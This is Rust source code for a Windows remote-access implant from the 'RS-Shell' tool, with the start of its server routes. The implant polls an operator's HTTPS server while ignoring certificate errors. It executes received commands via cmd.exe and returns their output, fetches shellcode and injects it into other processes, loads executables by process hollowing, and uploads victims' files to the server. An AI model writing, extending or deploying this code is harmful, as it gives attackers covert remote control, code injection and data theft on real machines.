let user_agent_cstring = CString::new("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36").unwrap();
let user_agent = user_agent_cstring.as_ptr() as *const u8;
unsafe {
// The flag 'INTERNET_OPEN_TYPE_PRECONFIG' permits to find proxy configurations in the registry
let h_internet = InternetOpenA(
user_agent,
INTERNET_OPEN_TYPE_PRECONFIG,
null_mut(),
null_mut(),
0,
);
if h_internet.is_null() {
return Err(io::Error::last_os_error());
}
let ip_cstring = CString::new(ip).unwrap();
let ip = ip_cstring.as_ptr() as *const u8;
let h_connect = InternetConnectA(
h_internet,
ip,
INTERNET_DEFAULT_HTTPS_PORT,
null_mut(),
null_mut(),
INTERNET_SERVICE_HTTP,
0,
0,
);
if h_connect.is_null() {
InternetCloseHandle(h_internet);
return Err(io::Error::last_os_error());
}
let http_verb = "GET";
make_request(h_connect, url, http_verb, null_mut(), 0, false)?;
Ok((h_internet, h_connect))
}
}
unsafe fn make_request(
h_connect: *mut c_void,
url: &str,
http_verb: &str,
data: *mut c_void,
data_len: u32,
download: bool,
) -> io::Result> {
let http_verb_cstring = CString::new(http_verb).unwrap();
let http_verb = http_verb_cstring.as_ptr() as *const u8;
let url_cstring = CString::new(url).unwrap();
let url = url_cstring.as_ptr() as *const u8;
unsafe {
// The flag 'INTERNET_FLAG_KEEP_CONNECTION' permits to handle authentication
let h_request = HttpOpenRequestA(
h_connect,
http_verb,
url,
null_mut(),
null_mut(),
null_mut(),
INTERNET_FLAG_RELOAD
| INTERNET_FLAG_SECURE
| INTERNET_FLAG_KEEP_CONNECTION
| INTERNET_FLAG_NEED_FILE
| INTERNET_FLAG_NO_CACHE_WRITE,
0,
);
if h_request.is_null() {
return Err(io::Error::last_os_error());
}
// Flags to ignore certificate errors
let mut flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_WRONG_USAGE
| INTERNET_FLAG_IGNORE_CERT_CN_INVALID
| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
InternetSetOptionA(
h_request,
(INTERNET_OPTION_SECURITY_FLAGS as i32).try_into().unwrap(),
&mut flags as *mut _ as *mut c_void,
std::mem::size_of_val(&flags) as u32,
);
loop {
if download {
let headers = CString::new("Content-Type: multipart/form-data; boundary=---------------------------345495480920487783503652546823").unwrap();
let success = HttpSendRequestA(
h_request,
headers.as_ptr() as *const u8,
-1isize as u32,
data,
data_len,
);
if success == 0 {
InternetCloseHandle(h_request);
return Err(io::Error::last_os_error());
}
} else {
let success = HttpSendRequestA(h_request, null_mut(), 0, data, data_len);
if success == 0 {
log::debug!("HttpSendRequestA error: {}", io::Error::last_os_error());
InternetCloseHandle(h_request);
return Err(io::Error::last_os_error());
}
}
// Check the errors and if the request requires authentication
let dw_error_code = GetLastError();
let hwnd = GetConsoleWindow();
let dw_error = InternetErrorDlg(
hwnd,
h_request,
dw_error_code,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS
| FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS
| FLAGS_ERROR_UI_FLAGS_GENERATE_DATA,
null_mut(),
);
if dw_error == ERROR_INTERNET_FORCE_RETRY {
log::debug!("Force retry error: {}", io::Error::last_os_error());
continue;
} else {
break;
}
}
let mut buffer = [0; 1024];
let mut vec_output = Vec::new();
let mut read_size = 0;
while InternetReadFile(
h_request,
buffer.as_mut_ptr() as *mut _,
buffer.len() as u32,
&mut read_size,
) != 0
&& read_size > 0
{
vec_output.extend_from_slice(&buffer[..read_size as usize]);
read_size = 0;
}
InternetCloseHandle(h_request);
Ok(vec_output)
}
}
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("cmd.exe").args(&["/c", cmd]).output().unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.len() == 0 {
return stdo.to_vec();
} else {
return _stdr.to_vec();
}
}
pub fn implant(ip: &str) -> Result<(), Box> {
// Usefull for proxy authentication if proxy and credentials are already known
/*let proxy = "http://proxyserver:8080";
let username = "username";
let password = "password";*/
let index_url = "/rs-shell/index";
match init_session(ip, index_url) {
Ok((h_internet, h_connect)) => {
log::debug!("Session initialized");
let os = std::env::consts::FAMILY;
unsafe {
make_request(
h_connect,
"/rs-shell/os",
"POST",
os.as_ptr() as *mut c_void,
os.len() as u32,
false,
)
.expect("Error sending OS family");
}
loop {
match unsafe {
make_request(
h_connect,
"/rs-shell/next_task",
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
log::debug!(
"Task: {:?}",
String::from_utf8_lossy(response.as_slice())
.trim()
.trim_start_matches('\u{feff}')
);
// Needed to avoid borrowing error on freed value
let res = String::from_utf8_lossy(response.as_slice())
.trim()
.trim_start_matches('\u{feff}')
.to_string();
let (cmd, value) = match res.split_once(':') {
Some((cmd, value)) => (cmd, value),
None => (res.as_str(), ""),
};
match cmd {
"cmd" => {
let mut res_cmd = do_stuff(value);
log::debug!("{:?}", String::from_utf8_lossy(res_cmd.as_slice()));
match unsafe {
make_request(
h_connect,
"/rs-shell/receive_output",
"POST",
res_cmd.as_mut_ptr() as *mut c_void,
res_cmd.len() as u32,
false,
)
} {
Ok(_) => log::debug!("Command executed"),
Err(e) => log::debug!("Error: {}", e),
}
}
"load" | "load -h" | "load -s" => {
if cmd == "load -h" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]);
match call_loader_pe(path[0], path[1], 0) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!(
"Error loading PE in the remote process: {}",
e
),
}
} else if cmd == "load -s" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!(
"Loading the shellcode {} into the {} process memory",
path[0],
path[1]
);
match unsafe {
make_request(
h_connect,
("/rs-shell/shellcode".to_owned() + path[0]).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
//let shellcode = response.as_slice();
match call_loader_shellcode(response, path[1], 1) {
Ok(_) => log::debug!("Shellcode loaded"),
Err(e) => {
log::debug!("Error loading shellcode: {}", e)
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
log::debug!("Loading the PE {} into the implant memory", value);
match call_loader_pe(value, "", 2) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!("Error loading PE: {}", e),
}
}
}
"syscalls" | "syscalls -h" | "syscalls -s" => {
if cmd == "syscalls -h" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]);
match call_loader_pe(path[0], path[1], 1) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!(
"Error loading PE in the remote process: {}",
e
),
}
} else if cmd == "syscalls -s" {
let path: Vec<&str> = value.split(" ").collect();
log::debug!(
"Loading the shellcode into a remote process memory"
);
match unsafe {
make_request(
h_connect,
("/rs-shell/shellcode".to_owned() + path[0]).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
let shellcode = response.as_slice();
match call_loader_shellcode(
shellcode.to_vec(),
path[1],
0,
) {
Ok(_) => log::debug!("Shellcode loaded"),
Err(e) => {
log::debug!("Error loading shellcode: {}", e)
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
log::debug!("Loading the PE {} into the implant memory", value);
match call_loader_pe(value, "", 3) {
Ok(_) => log::debug!("PE loaded"),
Err(e) => log::debug!("Error loading PE: {}", e),
}
}
}
"upload" => {
let path = Path::new(value.trim());
log::debug!(
"Uploading...{}",
path.file_name().unwrap().to_str().unwrap()
);
match unsafe {
make_request(
h_connect,
("/rs-shell/upload".to_owned() + value).as_str(),
"GET",
null_mut(),
0,
false,
)
} {
Ok(response) => {
File::create(path.file_name().unwrap().to_str().unwrap())
.unwrap()
.write_all(response.as_slice())?;
}
Err(e) => log::debug!("Error: {}", e),
}
}
"download" => {
let path = Path::new(value.trim());
log::debug!(
"Downloading...{}",
path.file_name().unwrap().to_str().unwrap()
);
match File::open(path) {
Ok(file) => {
let mut reader = BufReader::new(file);
let mut buffer = Vec::new();
reader
.read_to_end(&mut buffer)
.expect("Error reading file");
// Let's build the multipart form data for big files
let begin_multipart = String::from("-----------------------------345495480920487783503652546823\r\nContent-Disposition: form-data; name=\"file\"; filename=\"".to_owned() + path.file_name().unwrap().to_str().unwrap() + "\"\r\nContent-Type: text/plain\r\n\r\n");
let end_multipart = String::from("\r\n-----------------------------345495480920487783503652546823--\r\n");
buffer.splice(
0..0,
begin_multipart.as_bytes().iter().cloned(),
);
buffer.extend(end_multipart.as_bytes());
match unsafe {
make_request(
h_connect,
"/",
"POST",
buffer.as_mut_ptr() as *mut c_void,
buffer.len() as u32,
true,
)
} {
Ok(response) => log::debug!(
"{}",
String::from_utf8_lossy(response.as_slice())
),
Err(e) => log::debug!("Error: {}", e),
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
"No task" => {
log::debug!("No task");
}
"exit" | "quit" => {
log::debug!("Exiting...");
unsafe {
InternetCloseHandle(h_connect);
InternetCloseHandle(h_internet);
}
break;
}
_ => log::debug!("Unknown command"),
}
}
Err(e) => {
log::debug!("Error obtaining new task: {}. Trying to reinit the session from the begining.", e);
implant(ip)?;
}
}
// For the moment the implant sleeps 2 seconds between each request, could be interesting to randomize this value
// Or setup an option to change it via the CLI
thread::sleep(time::Duration::from_secs(2));
}
}
Err(e) => {
log::debug!("RS-Shell server cannot be reached: {}", e);
return Err(Box::new(e));
}
}
Ok(())
}
================================================
FILE: src/https/routes.rs
================================================
use actix_files::NamedFile;
use actix_multipart::form::{MultipartForm, tempfile::TempFile};
use actix_web::web::Bytes;
use actix_web::{HttpRequest, HttpResponse, Responder, web};
use std::collections::VecDeque;
use std::fs::File;
use std::io::Write;
use std::path::PathBuf;
use std::sync::Arc;
use tokio::sync::{Mutex, Notify};
pub async fn index(_req: HttpRequest) -> impl Responder {
r#"
____ _____ _____ __ ____
/ __ \/ ___/ / ___// /_ ___ / / /
/ /_/ /\__ \______\__ \/ __ \/ _ \/ / /
/ _, _/___/ /_____/__/ / / / / __/ / /
/_/ |_|/____/ /____/_/ /_/\___/_/_/
in Rust with love by BlackWasp
@BlWasp_
"#
.to_string()
}
pub struct AppState {
task_queue: Mutex>,
output: Mutex